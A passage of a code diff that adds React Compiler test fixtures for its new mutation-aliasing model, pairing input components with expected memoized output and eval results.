index 000000000000..713a3112fe25
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/object-expression-computed-member.expect.md
@@ -0,0 +1,63 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+import {identity, mutate, mutateAndReturn} from 'shared-runtime';
+
+function Component(props) {
+  const key = {a: 'key'};
+  const context = {
+    [key.a]: identity([props.value]),
+  };
+  mutate(key);
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+import { identity, mutate, mutateAndReturn } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(4);
+  let context;
+  if ($[0] !== props.value) {
+    const key = { a: "key" };
+    const t0 = key.a;
+    const t1 = identity([props.value]);
+    let t2;
+    if ($[2] !== t1) {
+      t2 = { [t0]: t1 };
+      $[2] = t1;
+      $[3] = t2;
+    } else {
+      t2 = $[3];
+    }
+    context = t2;
+    mutate(key);
+    $[0] = props.value;
+    $[1] = context;
+  } else {
+    context = $[1];
+  }
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 42 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"key":[42]}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/object-expression-computed-member.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/object-expression-computed-member.js
new file mode 100644
index 000000000000..516fdc1dbcf4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/object-expression-computed-member.js
@@ -0,0 +1,16 @@
+// @enableNewMutationAliasingModel
+import {identity, mutate, mutateAndReturn} from 'shared-runtime';
+
+function Component(props) {
+  const key = {a: 'key'};
+  const context = {
+    [key.a]: identity([props.value]),
+  };
+  mutate(key);
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/potential-mutation-in-function-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/potential-mutation-in-function-expression.expect.md
new file mode 100644
index 000000000000..a5cfc790ebc0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/potential-mutation-in-function-expression.expect.md
@@ -0,0 +1,64 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function Component({a, b, c}) {
+  const x = [a, b];
+  const f = () => {
+    maybeMutate(x);
+    // different dependency to force this not to merge with x's scope
+    console.log(c);
+  };
+  return <Foo onClick={f} value={x} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+function Component(t0) {
+  const $ = _c(9);
+  const { a, b, c } = t0;
+  let t1;
+  if ($[0] !== a || $[1] !== b) {
+    t1 = [a, b];
+    $[0] = a;
+    $[1] = b;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  const x = t1;
+  let t2;
+  if ($[3] !== c || $[4] !== x) {
+    t2 = () => {
+      maybeMutate(x);
+
+      console.log(c);
+    };
+    $[3] = c;
+    $[4] = x;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  const f = t2;
+  let t3;
+  if ($[6] !== f || $[7] !== x) {
+    t3 = <Foo onClick={f} value={x} />;
+    $[6] = f;
+    $[7] = x;
+    $[8] = t3;
+  } else {
+    t3 = $[8];
+  }
+  return t3;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/potential-mutation-in-function-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/potential-mutation-in-function-expression.js
new file mode 100644
index 000000000000..096f4f17ea54
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/potential-mutation-in-function-expression.js
@@ -0,0 +1,10 @@
+// @enableNewMutationAliasingModel
+function Component({a, b, c}) {
+  const x = [a, b];
+  const f = () => {
+    maybeMutate(x);
+    // different dependency to force this not to merge with x's scope
+    console.log(c);
+  };
+  return <Foo onClick={f} value={x} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/reactive-ref.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/reactive-ref.expect.md
new file mode 100644
index 000000000000..26757db1a3c2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/reactive-ref.expect.md
@@ -0,0 +1,54 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function ReactiveRefInEffect(props) {
+  const ref1 = useRef('initial value');
+  const ref2 = useRef('initial value');
+  let ref;
+  if (props.foo) {
+    ref = ref1;
+  } else {
+    ref = ref2;
+  }
+  useEffect(() => print(ref));
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+function ReactiveRefInEffect(props) {
+  const $ = _c(4);
+  const ref1 = useRef("initial value");
+  const ref2 = useRef("initial value");
+  let ref;
+  if ($[0] !== props.foo) {
+    if (props.foo) {
+      ref = ref1;
+    } else {
+      ref = ref2;
+    }
+    $[0] = props.foo;
+    $[1] = ref;
+  } else {
+    ref = $[1];
+  }
+  let t0;
+  if ($[2] !== ref) {
+    t0 = () => print(ref);
+    $[2] = ref;
+    $[3] = t0;
+  } else {
+    t0 = $[3];
+  }
+  useEffect(t0);
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/reactive-ref.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/reactive-ref.js
new file mode 100644
index 000000000000..3ae653c96203
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/reactive-ref.js
@@ -0,0 +1,12 @@
+// @enableNewMutationAliasingModel
+function ReactiveRefInEffect(props) {
+  const ref1 = useRef('initial value');
+  const ref2 = useRef('initial value');
+  let ref;
+  if (props.foo) {
+    ref = ref1;
+  } else {
+    ref = ref2;
+  }
+  useEffect(() => print(ref));
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-compiler-infinite-loop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-compiler-infinite-loop.expect.md
new file mode 100644
index 000000000000..a402713f8693
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-compiler-infinite-loop.expect.md
@@ -0,0 +1,55 @@
+
+## Input
+
+```javascript
+// @flow @enableNewMutationAliasingModel
+
+import fbt from 'fbt';
+
+component Component() {
+  const sections = Object.keys(items);
+
+  for (let i = 0; i < sections.length; i += 3) {
+    chunks.push(
+      sections.slice(i, i + 3).map(section => {
+        return <Child />;
+      })
+    );
+  }
+
+  return <Child />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+
+import fbt from "fbt";
+
+function Component() {
+  const $ = _c(1);
+  const sections = Object.keys(items);
+
+  for (let i = 0; i < sections.length; i = i + 3, i) {
+    chunks.push(sections.slice(i, i + 3).map(_temp));
+  }
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <Child />;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+function _temp(section) {
+  return <Child />;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-compiler-infinite-loop.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-compiler-infinite-loop.js
new file mode 100644
index 000000000000..d03a44618ea0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-compiler-infinite-loop.js
@@ -0,0 +1,17 @@
+// @flow @enableNewMutationAliasingModel
+
+import fbt from 'fbt';
+
+component Component() {
+  const sections = Object.keys(items);
+
+  for (let i = 0; i < sections.length; i += 3) {
+    chunks.push(
+      sections.slice(i, i + 3).map(section => {
+        return <Child />;
+      })
+    );
+  }
+
+  return <Child />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-destructure-from-prop-with-default-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-destructure-from-prop-with-default-value.expect.md
new file mode 100644
index 000000000000..25e4a3843cf3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-destructure-from-prop-with-default-value.expect.md
@@ -0,0 +1,46 @@
+
+## Input
+
+```javascript
+// @validateExhaustiveMemoizationDependencies:false
+export function useFormatRelativeTime(opts = {}) {
+  const {timeZone, minimal} = opts;
+  const format = useCallback(function formatWithUnit() {}, [minimal]);
+  // We previously recorded `{timeZone}` as capturing timeZone into the object,
+  // then assumed that dateTimeFormat() mutates that object,
+  // which in turn could mutate timeZone and the object it came from,
+  // which meanteans that the value `minimal` is derived from can change.
+  //
+  // The fix was to record a Capture from a maybefrozen value as an ImmutableCapture
+  // which doesn't propagate mutations
+  dateTimeFormat({timeZone});
+  return format;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateExhaustiveMemoizationDependencies:false
+export function useFormatRelativeTime(t0) {
+  const $ = _c(1);
+  const opts = t0 === undefined ? {} : t0;
+  const { timeZone, minimal } = opts;
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = function formatWithUnit() {};
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  const format = t1;
+
+  dateTimeFormat({ timeZone });
+  return format;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-destructure-from-prop-with-default-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-destructure-from-prop-with-default-value.js
new file mode 100644
index 000000000000..bd2548f672b1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-destructure-from-prop-with-default-value.js
@@ -0,0 +1,14 @@
+// @validateExhaustiveMemoizationDependencies:false
+export function useFormatRelativeTime(opts = {}) {
+  const {timeZone, minimal} = opts;
+  const format = useCallback(function formatWithUnit() {}, [minimal]);
+  // We previously recorded `{timeZone}` as capturing timeZone into the object,
+  // then assumed that dateTimeFormat() mutates that object,
+  // which in turn could mutate timeZone and the object it came from,
+  // which meanteans that the value `minimal` is derived from can change.
+  //
+  // The fix was to record a Capture from a maybefrozen value as an ImmutableCapture
+  // which doesn't propagate mutations
+  dateTimeFormat({timeZone});
+  return format;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-function-expression-effects-stack-overflow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-function-expression-effects-stack-overflow.expect.md
new file mode 100644
index 000000000000..fe47e6b0a026
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-function-expression-effects-stack-overflow.expect.md
@@ -0,0 +1,59 @@
+
+## Input
+
+```javascript
+function Component() {
+  const x = {};
+  const fn = () => {
+    new Object()
+      .build(x)
+      .build({})
+      .build({})
+      .build({})
+      .build({})
+      .build({})
+      .build({});
+  };
+  return <Stringify x={x} fn={fn} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component() {
+  const $ = _c(2);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = {};
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const x = t0;
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    const fn = () => {
+      new Object()
+        .build(x)
+        .build({})
+        .build({})
+        .build({})
+        .build({})
+        .build({})
+        .build({});
+    };
+    t1 = <Stringify x={x} fn={fn} />;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-function-expression-effects-stack-overflow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-function-expression-effects-stack-overflow.js
new file mode 100644
index 000000000000..6e67ed7bab69
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-function-expression-effects-stack-overflow.js
@@ -0,0 +1,14 @@
+function Component() {
+  const x = {};
+  const fn = () => {
+    new Object()
+      .build(x)
+      .build({})
+      .build({})
+      .build({})
+      .build({})
+      .build({})
+      .build({});
+  };
+  return <Stringify x={x} fn={fn} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-internal-compiler-shared-mutablerange-bug.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-internal-compiler-shared-mutablerange-bug.expect.md
new file mode 100644
index 000000000000..9a0c82a3ccca
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-internal-compiler-shared-mutablerange-bug.expect.md
@@ -0,0 +1,80 @@
+
+## Input
+
+```javascript
+//@flow @validatePreserveExistingMemoizationGuarantees @enableNewMutationAliasingModel
+component Component(
+  onAsyncSubmit?: (() => void) => void,
+  onClose: (isConfirmed: boolean) => void
+) {
+  // When running inferReactiveScopeVariables,
+  // onAsyncSubmit and onClose update to share
+  // a mutableRange instance.
+  const onSubmit = useCallback(() => {
+    if (onAsyncSubmit) {
+      onAsyncSubmit(() => {
+        onClose(true);
+      });
+      return;
+    }
+  }, [onAsyncSubmit, onClose]);
+  // When running inferReactiveScopeVariables here,
+  // first the existing range gets updated (affecting
+  // onAsyncSubmit) and then onClose gets assigned a
+  // different mutable range instance, which is the
+  // one reset after AnalyzeFunctions.
+  // The fix is to fully reset mutable ranges *instances*
+  // after AnalyzeFunctions visit a function expression
+  return <Dialog onSubmit={onSubmit} onClose={() => onClose(false)} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component(t0) {
+  const $ = _c(8);
+  const { onAsyncSubmit, onClose } = t0;
+  let t1;
+  if ($[0] !== onAsyncSubmit || $[1] !== onClose) {
+    t1 = () => {
+      if (onAsyncSubmit) {
+        onAsyncSubmit(() => {
+          onClose(true);
+        });
+        return;
+      }
+    };
+    $[0] = onAsyncSubmit;
+    $[1] = onClose;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  const onSubmit = t1;
+  let t2;
+  if ($[3] !== onClose) {
+    t2 = () => onClose(false);
+    $[3] = onClose;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  let t3;
+  if ($[5] !== onSubmit || $[6] !== t2) {
+    t3 = <Dialog onSubmit={onSubmit} onClose={t2} />;
+    $[5] = onSubmit;
+    $[6] = t2;
+    $[7] = t3;
+  } else {
+    t3 = $[7];
+  }
+  return t3;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-internal-compiler-shared-mutablerange-bug.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-internal-compiler-shared-mutablerange-bug.js
new file mode 100644
index 000000000000..20cad06e97e2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-internal-compiler-shared-mutablerange-bug.js
@@ -0,0 +1,25 @@
+//@flow @validatePreserveExistingMemoizationGuarantees @enableNewMutationAliasingModel
+component Component(
+  onAsyncSubmit?: (() => void) => void,
+  onClose: (isConfirmed: boolean) => void
+) {
+  // When running inferReactiveScopeVariables,
+  // onAsyncSubmit and onClose update to share
+  // a mutableRange instance.
+  const onSubmit = useCallback(() => {
+    if (onAsyncSubmit) {
+      onAsyncSubmit(() => {
+        onClose(true);
+      });
+      return;
+    }
+  }, [onAsyncSubmit, onClose]);
+  // When running inferReactiveScopeVariables here,
+  // first the existing range gets updated (affecting
+  // onAsyncSubmit) and then onClose gets assigned a
+  // different mutable range instance, which is the
+  // one reset after AnalyzeFunctions.
+  // The fix is to fully reset mutable ranges *instances*
+  // after AnalyzeFunctions visit a function expression
+  return <Dialog onSubmit={onSubmit} onClose={() => onClose(false)} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-invalid-function-expression-effects-phi.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-invalid-function-expression-effects-phi.expect.md
new file mode 100644
index 000000000000..6043495bc191
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-invalid-function-expression-effects-phi.expect.md
@@ -0,0 +1,58 @@
+
+## Input
+
+```javascript
+function Component({a, b}) {
+  const y = {a};
+  const x = {b};
+  const f = () => {
+    let z = null;
+    while (z == null) {
+      z = x;
+    }
+    // z is a phi with a backedge, and we don't realize it could be x,
+    // and therefore fail to record a Capture x <- y effect for this
+    // function expression
+    z.y = y;
+  };
+  f();
+  mutate(x);
+  return <div>{x}</div>;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component(t0) {
+  const $ = _c(3);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a || $[1] !== b) {
+    const y = { a };
+    const x = { b };
+    const f = () => {
+      let z = null;
+      while (z == null) {
+        z = x;
+      }
+      z.y = y;
+    };
+    f();
+    mutate(x);
+    t1 = <div>{x}</div>;
+    $[0] = a;
+    $[1] = b;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-invalid-function-expression-effects-phi.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-invalid-function-expression-effects-phi.js
new file mode 100644
index 000000000000..31a51b45aa38
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-invalid-function-expression-effects-phi.js
@@ -0,0 +1,17 @@
+function Component({a, b}) {
+  const y = {a};
+  const x = {b};
+  const f = () => {
+    let z = null;
+    while (z == null) {
+      z = x;
+    }
+    // z is a phi with a backedge, and we don't realize it could be x,
+    // and therefore fail to record a Capture x <- y effect for this
+    // function expression
+    z.y = y;
+  };
+  f();
+  mutate(x);
+  return <div>{x}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-jsx-captures-value-mutated-later.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-jsx-captures-value-mutated-later.expect.md
new file mode 100644
index 000000000000..ef8a2dc1757e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-jsx-captures-value-mutated-later.expect.md
@@ -0,0 +1,50 @@
+
+## Input
+
+```javascript
+// @flow @enableNewMutationAliasingModel
+
+import {identity, Stringify, useFragment} from 'shared-runtime';
+
+component Example() {
+  const data = useFragment();
+
+  const {a, b} = identity(data);
+
+  const el = <Stringify tooltip={b} />;
+
+  identity(a.at(0));
+
+  return <Stringify icon={el} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+
+import { identity, Stringify, useFragment } from "shared-runtime";
+
+function Example() {
+  const $ = _c(2);
+  const data = useFragment();
+  let t0;
+  if ($[0] !== data) {
+    const { a, b } = identity(data);
+    const el = <Stringify tooltip={b} />;
+    identity(a.at(0));
+    t0 = <Stringify icon={el} />;
+    $[0] = data;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-jsx-captures-value-mutated-later.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-jsx-captures-value-mutated-later.js
new file mode 100644
index 000000000000..7ab6dbc30ab2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-jsx-captures-value-mutated-later.js
@@ -0,0 +1,15 @@
+// @flow @enableNewMutationAliasingModel
+
+import {identity, Stringify, useFragment} from 'shared-runtime';
+
+component Example() {
+  const data = useFragment();
+
+  const {a, b} = identity(data);
+
+  const el = <Stringify tooltip={b} />;
+
+  identity(a.at(0));
+
+  return <Stringify icon={el} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-mutate-new-set-of-frozen-items-in-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-mutate-new-set-of-frozen-items-in-callback.expect.md
new file mode 100644
index 000000000000..28fc8b601f7f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-mutate-new-set-of-frozen-items-in-callback.expect.md
@@ -0,0 +1,74 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel:true
+
+export const App = () => {
+  const [selected, setSelected] = useState(new Set<string>());
+  const onSelectedChange = (value: string) => {
+    const newSelected = new Set(selected);
+    if (newSelected.has(value)) {
+      // This should not count as a mutation of `selected`
+      newSelected.delete(value);
+    } else {
+      // This should not count as a mutation of `selected`
+      newSelected.add(value);
+    }
+    setSelected(newSelected);
+  };
+
+  return <Stringify selected={selected} onSelectedChange={onSelectedChange} />;
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel:true
+
+export const App = () => {
+  const $ = _c(6);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = new Set();
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const [selected, setSelected] = useState(t0);
+  let t1;
+  if ($[1] !== selected) {
+    t1 = (value) => {
+      const newSelected = new Set(selected);
+      if (newSelected.has(value)) {
+        newSelected.delete(value);
+      } else {
+        newSelected.add(value);
+      }
+
+      setSelected(newSelected);
+    };
+    $[1] = selected;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  const onSelectedChange = t1;
+  let t2;
+  if ($[3] !== onSelectedChange || $[4] !== selected) {
+    t2 = <Stringify selected={selected} onSelectedChange={onSelectedChange} />;
+    $[3] = onSelectedChange;
+    $[4] = selected;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  return t2;
+};
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-mutate-new-set-of-frozen-items-in-callback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-mutate-new-set-of-frozen-items-in-callback.js
new file mode 100644
index 000000000000..c5a404a66c37
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-mutate-new-set-of-frozen-items-in-callback.js
@@ -0,0 +1,18 @@
+// @enableNewMutationAliasingModel:true
+
+export const App = () => {
+  const [selected, setSelected] = useState(new Set<string>());
+  const onSelectedChange = (value: string) => {
+    const newSelected = new Set(selected);
+    if (newSelected.has(value)) {
+      // This should not count as a mutation of `selected`
+      newSelected.delete(value);
+    } else {
+      // This should not count as a mutation of `selected`
+      newSelected.add(value);
+    }
+    setSelected(newSelected);
+  };
+
+  return <Stringify selected={selected} onSelectedChange={onSelectedChange} />;
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/set-add-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/set-add-mutate.expect.md
new file mode 100644
index 000000000000..955c4e070579
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/set-add-mutate.expect.md
@@ -0,0 +1,54 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function useHook({el1, el2}) {
+  const s = new Set();
+  const arr = makeArray(el1);
+  s.add(arr);
+  // Mutate after store
+  arr.push(el2);
+
+  s.add(makeArray(el2));
+  return s.size;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+function useHook(t0) {
+  const $ = _c(5);
+  const { el1, el2 } = t0;
+  let s;
+  if ($[0] !== el1 || $[1] !== el2) {
+    s = new Set();
+    const arr = makeArray(el1);
+    s.add(arr);
+
+    arr.push(el2);
+    let t1;
+    if ($[3] !== el2) {
+      t1 = makeArray(el2);
+      $[3] = el2;
+      $[4] = t1;
+    } else {
+      t1 = $[4];
+    }
+    s.add(t1);
+    $[0] = el1;
+    $[1] = el2;
+    $[2] = s;
+  } else {
+    s = $[2];
+  }
+  return s.size;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/set-add-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/set-add-mutate.js
new file mode 100644
index 000000000000..3afbd93f84b1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/set-add-mutate.js
@@ -0,0 +1,11 @@
+// @enableNewMutationAliasingModel
+function useHook({el1, el2}) {
+  const s = new Set();
+  const arr = makeArray(el1);
+  s.add(arr);
+  // Mutate after store
+  arr.push(el2);
+
+  s.add(makeArray(el2));
+  return s.size;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/ssa-renaming-ternary-destruction.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/ssa-renaming-ternary-destruction.expect.md
new file mode 100644
index 000000000000..4c04ae197292
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/ssa-renaming-ternary-destruction.expect.md
@@ -0,0 +1,70 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR @enableNewMutationAliasingModel
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  // todo: the below should memoize separately from the above
+  // my guess is that the phi causes the different `x` identifiers
+  // to get added to an alias group. this is where we need to track
+  // the actual state of the alias groups at the time of the mutation
+  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR @enableNewMutationAliasingModel
+function useFoo(props) {
+  const $ = _c(5);
+  let x;
+  if ($[0] !== props.bar) {
+    x = [];
+    x.push(props.bar);
+    $[0] = props.bar;
+    $[1] = x;
+  } else {
+    x = $[1];
+  }
+  if ($[2] !== props.cond || $[3] !== props.foo) {
+    props.cond ? (([x] = [[]]), x.push(props.foo)) : null;
+    $[2] = props.cond;
+    $[3] = props.foo;
+    $[4] = x;
+  } else {
+    x = $[4];
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ cond: false, foo: 2, bar: 55 }],
+  sequentialRenders: [
+    { cond: false, foo: 2, bar: 55 },
+    { cond: false, foo: 3, bar: 55 },
+    { cond: true, foo: 3, bar: 55 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [55]
+[55]
+[3]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/ssa-renaming-ternary-destruction.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/ssa-renaming-ternary-destruction.js
new file mode 100644
index 000000000000..923d0b59bb81
--- /dev/null
